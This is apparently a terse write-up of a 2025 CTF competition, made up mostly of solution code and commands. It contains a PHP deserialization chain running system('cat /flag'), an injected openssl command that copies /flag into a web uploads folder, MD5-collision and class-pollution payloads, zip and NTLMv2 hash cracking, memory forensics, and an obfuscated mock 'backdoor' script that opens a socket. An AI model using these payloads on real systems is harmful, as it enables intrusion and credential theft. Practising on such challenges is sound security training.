?CTF 2025 WriteUp

1a=240610708&b=QNKCDZO&aa[]=1&bb[]=2&aaa=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&bbb=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

1-ctf<
2>>>>>h11~~~~~~~~~~@email.com flag1
3
4-ctf%3C%0A%3E%3E%3E%3E%3Eh11~~~~~~~~~~@email.com%20flag1

1{"__init__":{"__func__":{"__globals__":{"cat":"a","dog":"a"}}}}

 1<?php
 2class Wuhuarou{
 3    public $Wuhuarou;
 4    function __construct($Wuhuarou) {
 5        $this->Wuhuarou = $Wuhuarou;
 6    }
 7}
 8
 9class Fentiao{
10    public $Fentiao;
11    public $Hongshufentiao;
12    function __construct($Fentiao) {
13        $this->Fentiao = $Fentiao;
14    }
15}
16
17class Baicai{
18    public $Baicai;
19    function __construct($Baicai) {
20        $this->Baicai = $Baicai;
21    }
22}
23
24class Wanzi{
25    public $Wanzi;
26    function __construct($Wanzi) {
27        $this->Wanzi = $Wanzi;
28    }
29}
30
31class Xianggu{
32    public $Xianggu;
33    public $Jinzhengu;
34    public function __construct($Xianggu, $Jinzhengu){
35        $this->Xianggu = $Xianggu;
36        $this->Jinzhengu = $Jinzhengu;
37    }
38}
39
40class Huluobo{
41    public $HuLuoBo;
42}
43
44$command = "system('cat /flag');";
45
46$huluobo = new Huluobo();
47$xianggu = new Xianggu($huluobo, $command);
48$wanzi = new Wanzi($xianggu);
49$baicai = new Baicai($wanzi);
50$fentiao = new Fentiao($baicai);
51$wuhuarou = new Wuhuarou($fentiao);
52
53$payload = serialize($wuhuarou);
54echo $payload;
55?>

1O:8:"Wuhuarou":1:{s:8:"Wuhuarou";O:7:"Fentiao":2:{s:7:"Fentiao";O:6:"Baicai":1:{s:6:"Baicai";O:5:"Wanzi":1:{s:5:"Wanzi";O:7:"Xianggu":2:{s:7:"Xianggu";O:7:"Huluobo":1:{s:7:"HuLuoBo";N;}s:9:"Jinzhengu";s:20:"system('cat /flag');";}}}s:14:"Hongshufentiao";N;}}

 1import itertools
 2
 3def main():
 4    encoded_str = "Tsmssic?FT?ii?sFFi?iTimCTC?mcCmsTiTmmCCCFs?sCCiiTFTcmCmFTCscFicTTs?ciC?TFFTim?s?TTmsmCmFCmmiFCmsTFTimCCsFCmiTicTT?msFCTTTs?c??ssFCmi?mciCcT"
 5    padding = "====="
 6    chars = ['T', 's', 'm', 'i', 'c', 'F', 'C', '?']
 7    digits = list(range(8))
 8    
 9    # Generate all possible mappings from chars to digits (0-7)
10    for perm in itertools.permutations(digits):
11        mapping = {ch: str(d) for ch, d in zip(chars, perm)}
12        num_str = ''.join(mapping[ch] for ch in encoded_str)
13        
14        # Convert数字字符串 to binary string, each digit to 3 bits
15        binary_str = ''.join(format(int(d), '03b') for d in num_str)
16        
17        # Take first 416 bits (52 bytes)
18        if len(binary_str) < 416:
19            continue
20        binary_str = binary_str[:416]
21        
22        # Convert binary string to bytes
23        try:
24            data = bytes(int(binary_str[i:i+8], 2) for i in range(0, len(binary_str), 8))
25            text = data.decode('utf-8')
26            # Check if the text is readable (contains mostly printable ASCII and common words)
27            if text.isprintable() :
28                print("Mapping found:")
29                for ch in chars:
30                    print(f"{ch} -> {mapping[ch]}")
31                print("Decoded text:")
32                print(text)
33                print()
34                # Break after finding one readable text? Or continue to find all?
35                # break  # Uncomment to stop after first finding
36        except UnicodeDecodeError:
37            continue
38
39if __name__ == '__main__':
40    main()

1cd / ;openssl enc -des3 -salt -k W3lc0me2m1sc -in /flag -out /xp/www/week2/uploads/flag_decrypted.zip

1openssl enc -d -des3 -salt -k W3lc0me2m1sc -in /xp/www/week2/uploads/flag_decrypted.zip -out ./decrypted_flag

1python bwm.py decode 1.png 2.png flag.png

1steghide extract -sf image.jpg -p ?CTF

1Access to the congratulatory letter requires your identity hash as the password

1echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
2bkcrack -C Congratulations.zip -c id_card.png -p png_header -o 0

1bkcrack -C Congratulations.zip -k 733236fb 6652cac7 8542e0e2 -U out.zip 123

1User name: rockyou
2Domain name: C3NGH--DESKTOP

1ntlmv2_response: e20402e8a924e2de7c1e3fd3f949bc3801010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000
2NTProofStr: e20402e8a924e2de7c1e3fd3f949bc38

1NTLM Server Challenge: 91e15fed933eff0c

1username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
2rockyou::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000

1hashcat -m 5600 hash.txt rockyou.txt

 1from Crypto.Cipher import ARC4
 2from Crypto.Hash import MD4, MD5, HMAC
 3
 4password = 'poohkitty13'
 5passwordHash = MD4.new(password.encode('utf-16-le')).hexdigest()
 6username = 'ROCKYOU'
 7domain = 'C3NGH--DESKTOP'
 8ntProofStr = 'e20402e8a924e2de7c1e3fd3f949bc38'
 9serverChallenge = '91e15fed933eff0c'
10sessionKey = '55d34fb498993a0aceaa960eea8ab7e9'
11
12responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper()+domain.upper()).encode('utf-16-le'), MD5).digest()
13keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
14decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
15print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))

1Decrypted SMB Session Key is: c97ac1002c85cbd04f69f5406c430fbd

11900000c001c0000

1Printf("delay time: %d\n",GraphicControlExtension.GraphicControlSubBlock.DelayTime);

1import numpy as np
2mag = np.fromfile('mag', dtype=np.float32)
3phase = np.fromfile('phase', dtype=np.float32)
4Y = mag * np.exp(-1j * phase)
5real_Y = np.real(Y)
6imag_Y = np.imag(Y)
7virtual_source_1 = (real_Y + imag_Y) / 2

 1# 检查信号长度是否匹配
 2if len(processed_signal) != len(virtual_source_1):
 3    print(
 4        f"警告: 信号长度不匹配。processed_signal: {len(processed_signal)}, virtual_source_0: {len(virtual_source_1)}")
 5    # 取最小长度
 6    min_len = min(len(processed_signal), len(virtual_source_1))
 7    processed_signal = processed_signal[:min_len]
 8    virtual_source_1 = virtual_source_1[:min_len]
 9# 逆处理: 首先除以2.5，然后减去virtual_source_0
10original_signal = (processed_signal / 2.5) - virtual_source_1
11# 将还原后的信号保存为WAV文件
12samp_rate = 44100
13# 确保信号在-1到1之间，否则需要归一化
14if np.max(np.abs(original_signal)) > 1:
15    original_signal = original_signal / np.max(np.abs(original_signal))
16# 转换为16位整数格式
17original_signal_int16 = (original_signal * 32767).astype(np.int16)
18# 保存为WAV文件
19wavfile.write('recovered_password.wav', samp_rate, original_signal_int16)

1python2 vol.py -f memory.raw imageinfo

1python2 vol.py -f memory.raw --profile=Win7SP1x64 pslist

1python2 vol.py -f memory.raw --profile=Win7SP1x64 filescan

1*画图*真好用啊，可以把一些我记不住的密码画出来，还不容易被其他人找到…
2所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~%

1python2 vol.py -f memory.raw --profile=Win7SP1x64 procdump -p [pid忘记了] -D ./

1LzkuL4gSqI6hrH0JYTUkLR9jLy0PnQNlKIY1Y4VmJ2DlqFZso4VsDzQkpmYusC==
2
3flag{Funny_W0r1d_0f_Ch@rac43rs_Tru3_or_Fa1s3!}

1strings models/model_epoch_31.h5

 1from re import T
 2
 3
 4def lIlIlI():
 5    IlIlII = "⚠️ WARNING: MODEL COMPROMISED!"
 6    lIIIll = "🚨 Injected Code Triggered Successfully"
 7    IIlIlI = "🏴‍☠️ Backdoor Activated... Exfiltrating Data"
 8    print(IlIlII)
 9    print(lIIIll)
10    print(IIlIlI)
11def IIllIl(IllIll, lIllII):
12    def IIlIIl(lIllll, IIllll, llIIII=32):
13        lIllIl, IllIIl = lIllll[0], lIllll[1]
14        lIlIIl = 0
15        IIlIll = 0x9E3779B9
16        for _ in range(llIIII):
17            lIlIIl = (lIlIIl + IIlIll) & 0xFFFFFFFF
18            lIllIl = (lIllIl + (((IllIIl << 4) + IIllll[0]) ^ (IllIIl + lIlIIl) ^ ((IllIIl >> 5) + IIllll[1]))) & 0xFFFFFFFF
19            IllIIl = (IllIIl + (((lIllIl << 4) + IIllll[2]) ^ (lIllIl + lIlIIl) ^ ((lIllIl >> 5) + IIllll[3]))) & 0xFFFFFFFF
20        return [lIllIl, IllIIl]
21    llIlll = (8 - len(IllIll) % 8) % 8
22    IllIll += '\0' * llIlll
23    IIlIII = []
24    for llIlII in range(0, len(IllIll), 8):
25        llIlIl = IllIll[llIlII:llIlII+8]
26        IIIlll = int.from_bytes(llIlIl[:4].encode(), 'big')
27        IIlIlll = int.from_bytes(llIlIl[4:].encode(), 'big')
28        IIlIII.append([IIIlll, IIlIlll])
29    IlllII = [int.from_bytes(lIllII[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
30    lIlIll = [IIlIIl(IIlI, IlllII) for IIlI in IIlIII]
31    return ''.join(f'{Ill:08x}{lll:08x}' for Ill, lll in lIlIll)
32def lllIIl(llIlIlI, IIlIllI):
33    def llIIIl(llIIIlI, lllIII, IIllllI=32):
34        llIllII, IllIllI = llIIIlI[0], llIIIlI[1]
35        IlllIll = 0x9E3779B9
36        lIlllII = (IlllIll * IIllllI) & 0xFFFFFFFF
37        for _ in range(IIllllI):
38            IllIllI = (IllIllI - (((llIllII << 4) + lllIII[2]) ^ (llIllII + lIlllII) ^ ((llIllII >> 5) + lllIII[3]))) & 0xFFFFFFFF
39            llIllII = (llIllII - (((IllIllI << 4) + lllIII[0]) ^ (IllIllI + lIlllII) ^ ((IllIllI >> 5) + lllIII[1]))) & 0xFFFFFFFF
40            lIlllII = (lIlllII - IlllIll) & 0xFFFFFFFF
41        return [llIllII, IllIllI]
42    lIIIlI = []
43    for lIlIIlI in range(0, len(llIlIlI), 16):
44        lIIlllI = int(llIlIlI[lIlIIlI:lIlIIlI+8], 16)
45        lIlIllI = int(llIlIlI[lIlIIlI+8:lIlIIlI+16], 16)
46        lIIIlI.append([lIIlllI, lIlIllI])
47    lIllIll = [int.from_bytes(IIlIllI[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
48    IllIlII = [llIIIl(IllI, lIllIll) for IllI in lIIIlI]
49    lIlllIl = b''.join(x.to_bytes(4, 'big') + y.to_bytes(4, 'big') for x, y in IllIlII)
50    return lIlllIl.rstrip(b'\0').decode()
51def IlIlIl():
52    lIIlI = '2311b9123d7fdb3abe4b29b2efd34ed140e4ad78428b5d283a3e75af4be3ff2267f1db8523383ad0'
53    lIIIllI = "dhcowjqnckssqdqm"
54    lIlIl = lllIIl(lIIlI, lIIIllI)
55    return True
56def IlllI():
57    llllI = __import__('socket')
58    IlIIl = llllI.socket(llllI.AF_INET, llllI.SOCK_STREAM)
59    IlIIl.settimeout(1)
60    IlIIl.connect(("8.8.8.8", 53))
61def lIIIlll():
62    IlIlIl()
63    lIlIlI()
64    IlllI()
65lIIIlll()